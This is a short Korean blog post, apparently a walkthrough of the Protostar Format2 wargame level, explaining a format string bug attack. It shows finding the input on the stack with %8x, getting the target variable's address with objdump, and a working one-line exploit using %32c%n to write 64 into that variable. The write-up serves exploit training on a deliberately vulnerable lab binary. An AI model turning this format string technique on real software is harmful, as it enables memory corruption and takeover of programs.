Protostar Format2 [ FSB / objdump ]

2017. 6. 13. 12:58SystemHacking/Protostar





Protostar Format2번 문제입니다

[ 그림1 ]


target변수의 값을 64로 변질시키면 되는 문제입니다


[ 그림2 ]


포맷스트링버그공격에서 제일먼저 해야할 일은 내가 입력한 데이터가 어디에 존재하는지를 알아내는 것입니다

4번째 " %8x "스트링에서 우리가 입력한 데이터 AAAA가 있음을 확인이 가능합니다


[ 그림3 ]


target의 주소를 알아야 공격을 할 수 있기 때문에 objdump명령어를 이용해 target의 주소를 알아냅니다


[ 그림4 ]

공격코드입니다

$ (python -c 'print "\x41\x41\x41\x41"+"\xe4\x96\x04\x08"+"%8x%8x%8x%32c%n"';cat ) | ./format2 


코드에 따라서 "%n"스트링에 의해서 0x080496e4 ( target ) 주소에 값이 입력될 것입니다

4+4+8+8+8 = 32 이므로 보충해줘야할 byte수는 32입니다. 따라서 "%32c"스트링을 입력하였습니다




'SystemHacking > Protostar' 카테고리의 다른 글

Protostar Format4 [ FSB / PLT / GOT ]  (0) 2017.06.13
Protostar Format3 [ FSB / objdump ]  (0) 2017.06.13
Protostar Format1 [ FSB / objdump ]  (0) 2017.06.13
Protostar Format0 [ FSB ]  (0) 2017.06.13
Protostar Stack7 [ROP]  (0) 2017.06.12